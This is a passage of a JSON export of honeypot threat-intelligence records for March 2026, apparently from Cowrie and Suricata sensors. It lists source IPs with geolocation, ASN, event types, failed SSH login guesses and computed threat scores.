      "first_seen": "2026-03-19T01:31:23.783Z",
      "last_seen": "2026-03-19T01:37:02.481Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "adm1n"
      ],
      "passwords_attempted": [
        "asdfasdf-space"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Slovenia",
      "country_code": "SI",
      "city": "Ljubljana",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd",
      "threat_score": 14.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T01:31:23.783000+00:00",
        "last_seen_30d": "2026-03-19T01:38:10.566000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 7,
        "Suricata": 6
      }
    },
    "185.247.137.160": {
      "attack_count": 6,
      "first_seen": "2026-03-20T21:37:11.715Z",
      "last_seen": "2026-03-20T21:37:14.467Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Manchester",
      "asn": 211298,
      "as_org": "Driftnet Ltd",
      "threat_score": 40.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.5,
        "persistence": 8.3,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 45,
        "days_active_30d": 10,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-20T21:37:11.715000+00:00",
        "last_seen_30d": "2026-03-29T09:23:16.372000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 31,
        "ConPot": 8,
        "Cowrie": 6
      }
    },
    "66.132.172.223": {
      "attack_count": 6,
      "first_seen": "2026-03-24T01:38:53.780Z",
      "last_seen": "2026-03-24T01:39:48.458Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 75.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.9,
        "persistence": 9.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 124,
        "days_active_30d": 11,
        "ports_targeted_30d": 31,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-21T07:57:09.548000+00:00",
        "last_seen_30d": "2026-03-31T11:56:14.652000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 67,
        "Honeytrap": 46,
        "Cowrie": 6,
        "CitrixHoneypot": 4,
        "Dionaea": 1
      }
    },
    "213.177.179.113": {
      "attack_count": 5,
      "first_seen": "2026-03-06T04:01:59.060Z",
      "last_seen": "2026-03-06T04:02:01.720Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "kelltech"
      ],
      "passwords_attempted": [
        "Kelltech2025!"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": null,
      "asn": 208137,
      "as_org": "Feo Prest SRL",
      "threat_score": 5.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.6,
        "persistence": 3.3,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 4,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T08:34:28.871000+00:00",
        "last_seen_30d": "2026-03-06T04:03:02.263000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Cowrie": 5,
        "Heralding": 2
      }
    },
    "38.188.160.227": {
      "attack_count": 5,
      "first_seen": "2026-03-11T00:24:22.323Z",
      "last_seen": "2026-03-11T00:24:24.717Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "paris78"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 7.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T00:24:22.323000+00:00",
        "last_seen_30d": "2026-03-11T00:25:28.378000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 4
      }
    },
    "38.188.160.89": {
      "attack_count": 5,
      "first_seen": "2026-03-10T23:02:04.587Z",
      "last_seen": "2026-03-10T23:02:06.977Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "sweden"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 6.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:02:04.587000+00:00",
        "last_seen_30d": "2026-03-10T23:03:14.550000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "77.90.185.238": {
      "attack_count": 5,
      "first_seen": "2026-03-05T20:10:20.312Z",
      "last_seen": "2026-03-05T20:10:23.511Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "kelltech#2024"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 4.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.6,
        "persistence": 2.5,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 3,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T09:36:03.110000+00:00",
        "last_seen_30d": "2026-03-05T20:11:31.827000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Cowrie": 5,
        "Heralding": 2
      }
    },
    "167.94.138.39": {
      "attack_count": 4,
      "first_seen": "2026-03-19T08:28:35.053Z",
      "last_seen": "2026-03-19T08:28:50.309Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 54.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.3,
        "persistence": 16.7,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 107,
        "days_active_30d": 20,
        "ports_targeted_30d": 27,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-03-02T11:18:16+00:00",
        "last_seen_30d": "2026-03-21T14:18:52.126000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 61,
        "Honeytrap": 35,
        "Cowrie": 4,
        "ElasticPot": 4,
        "Dionaea": 2,
        "Ipphoney": 1
      }
    },
    "170.64.202.119": {
      "attack_count": 4,
      "first_seen": "2026-03-15T16:02:51.553Z",
      "last_seen": "2026-03-16T04:24:29.844Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 12.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T16:02:51.553000+00:00",
        "last_seen_30d": "2026-03-16T04:25:37.662000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Cowrie": 4
      }
    },
    "186.156.185.174": {
      "attack_count": 4,
      "first_seen": "2026-03-09T03:38:39.121Z",
      "last_seen": "2026-03-10T10:51:13.441Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Chile",
      "country_code": "CL",
      "city": "Los \u00c1ngeles",
      "asn": 22047,
      "as_org": "VTR BANDA ANCHA S.A.",
      "threat_score": 6.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T03:38:39.121000+00:00",
        "last_seen_30d": "2026-03-10T10:52:52.897000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "64.226.78.10": {
      "attack_count": 4,
      "first_seen": "2026-03-03T02:27:09.443Z",
      "last_seen": "2026-03-03T02:27:12.909Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 2.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T02:27:09.443000+00:00",
        "last_seen_30d": "2026-03-03T02:28:19.831000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "77.90.185.18": {
      "attack_count": 4,
      "first_seen": "2026-03-14T04:31:59.140Z",
      "last_seen": "2026-03-14T08:30:55.382Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 100,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 1790,
        "days_active_30d": 30,
        "ports_targeted_30d": 613,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-03-02T00:04:08+00:00",
        "last_seen_30d": "2026-03-31T20:39:16.060000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1122,
        "Honeytrap": 656,
        "ConPot": 4,
        "Cowrie": 4,
        "Dicompot": 2,
        "Miniprint": 2
      }
    },
    "157.245.35.75": {
      "attack_count": 3,
      "first_seen": "2026-03-18T19:29:11.538Z",
      "last_seen": "2026-03-18T19:29:11.947Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 37.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.5,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 89,
        "days_active_30d": 1,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-03-18T19:29:11+00:00",
        "last_seen_30d": "2026-03-18T19:30:25.096000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Suricata": 65,
        "Honeytrap": 17,
        "Cowrie": 3,
        "Ciscoasa": 2,
        "Dionaea": 1,
        "H0neytr4p": 1
      }
    },
    "34.124.218.154": {
      "attack_count": 3,
      "first_seen": "2026-03-10T05:31:51.727Z",
      "last_seen": "2026-03-10T05:32:52.165Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 6.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T07:06:56.046000+00:00",
        "last_seen_30d": "2026-03-10T05:34:00.652000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 3
      }
    },
    "64.62.156.10": {
      "attack_count": 3,
      "first_seen": "2026-03-04T01:27:50.133Z",
      "last_seen": "2026-03-04T01:27:50.135Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 272,
        "days_active_30d": 30,
        "ports_targeted_30d": 81,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-03-02T02:00:44+00:00",
        "last_seen_30d": "2026-03-31T15:21:11.326000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 168,
        "Honeytrap": 92,
        "Dionaea": 4,
        "Cowrie": 3,
        "ConPot": 2,
        "CitrixHoneypot": 1,
        "ElasticPot": 1,
        "Ipphoney": 1
      }
    },
    "64.62.156.202": {
      "attack_count": 3,
      "first_seen": "2026-03-24T06:15:43.853Z",
      "last_seen": "2026-03-24T06:15:43.855Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.5,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 358,
        "days_active_30d": 29,
        "ports_targeted_30d": 75,
        "honeypots_triggered_30d": 10,
        "first_seen_30d": "2026-03-03T04:02:03.494000+00:00",
        "last_seen_30d": "2026-03-31T06:45:42.667000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 228,
        "Honeytrap": 84,
        "Ciscoasa": 28,
        "Mailoney": 6,
        "ConPot": 4,
        "Cowrie": 3,
        "Miniprint": 2,
        "Dionaea": 1,
        "ElasticPot": 1,
        "Honeyaml": 1
      }
    },
    "101.71.37.79": {
      "attack_count": 2,
      "first_seen": "2026-03-20T17:20:58.993Z",
      "last_seen": "2026-03-20T17:21:12.668Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T17:20:58.993000+00:00",
        "last_seen_30d": "2026-03-20T17:22:13.397000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "103.206.100.6": {
      "attack_count": 2,
      "first_seen": "2026-03-14T18:14:14.876Z",
      "last_seen": "2026-03-14T18:14:27.504Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Rohtak",
      "asn": 137120,
      "as_org": "Nas Internet Services Private Limited",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T18:14:14.876000+00:00",
        "last_seen_30d": "2026-03-14T18:15:36.882000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "110.38.218.112": {
      "attack_count": 2,
      "first_seen": "2026-03-03T01:40:21.897Z",
      "last_seen": "2026-03-03T01:40:34.865Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 38264,
      "as_org": "National WiMAXIMS environment",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T01:40:21.897000+00:00",
        "last_seen_30d": "2026-03-03T01:41:41.001000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "117.245.140.181": {
      "attack_count": 2,
      "first_seen": "2026-03-27T15:32:05.386Z",
      "last_seen": "2026-03-27T15:32:19.636Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "S\u012bkar",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T15:32:05.386000+00:00",
        "last_seen_30d": "2026-03-27T15:33:22.901000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "143.198.219.156": {
      "attack_count": 2,
      "first_seen": "2026-03-17T13:35:11.567Z",
      "last_seen": "2026-03-17T13:35:11.697Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 12.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T13:22:06.998000+00:00",
        "last_seen_30d": "2026-03-17T13:36:14.943000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "18.194.102.131": {
      "attack_count": 2,
      "first_seen": "2026-03-12T13:22:04.096Z",
      "last_seen": "2026-03-12T13:22:35.360Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 6.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T13:22:04.096000+00:00",
        "last_seen_30d": "2026-03-12T13:23:43.846000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "217.107.125.219": {
      "attack_count": 2,
      "first_seen": "2026-03-02T21:09:24.677Z",
      "last_seen": "2026-03-02T21:09:37.627Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Moscow",
      "asn": 12389,
      "as_org": "Rostelecom",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T21:09:24.677000+00:00",
        "last_seen_30d": "2026-03-02T21:10:46.755000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "219.244.42.15": {
      "attack_count": 2,
      "first_seen": "2026-03-21T04:51:29.315Z",
      "last_seen": "2026-03-21T04:51:43.574Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4538,
      "as_org": "China Education and Research Network Center",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T04:51:29.315000+00:00",
        "last_seen_30d": "2026-03-21T04:52:50.331000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "220.123.74.61": {
      "attack_count": 2,
      "first_seen": "2026-03-15T14:02:11.191Z",
      "last_seen": "2026-03-15T14:02:25.591Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": null,
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T14:02:11.191000+00:00",
        "last_seen_30d": "2026-03-15T14:03:29.771000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "24.176.173.57": {
      "attack_count": 2,
      "first_seen": "2026-03-07T13:46:55.103Z",
      "last_seen": "2026-03-07T13:47:07.718Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Anderson",
      "asn": 20115,
      "as_org": "Charter Communications LLC",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T13:46:55.103000+00:00",
        "last_seen_30d": "2026-03-07T13:48:08.080000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "36.249.142.114": {
      "attack_count": 2,
      "first_seen": "2026-03-29T10:53:30.789Z",
      "last_seen": "2026-03-29T10:53:43.790Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 16.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-29T10:53:30.789000+00:00",
        "last_seen_30d": "2026-03-29T10:54:46.146000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "41.59.172.99": {
      "attack_count": 2,
      "first_seen": "2026-03-16T00:21:05.596Z",
      "last_seen": "2026-03-16T00:21:18.529Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
